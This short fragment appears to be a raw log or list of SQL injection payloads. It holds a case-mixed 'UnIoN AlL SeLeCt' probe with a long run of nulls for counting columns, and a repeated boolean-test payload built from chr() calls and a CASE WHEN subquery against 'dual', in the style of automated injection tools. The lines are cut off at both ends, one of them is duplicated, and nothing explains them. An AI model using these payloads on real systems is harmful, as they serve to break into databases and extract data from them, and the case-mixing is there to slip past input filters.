...9) UnIoN AlL SeLeCt null null null null null null null null null null null null null null null null null null
...Chr(118) chr(122) chr(113) (select (case when (2740=2740) then 1 else 0 end) from dual) chr
...Chr(118) chr(122) chr(113) (select (case when (2740=2740) then 1 else 0 end) from dual) chr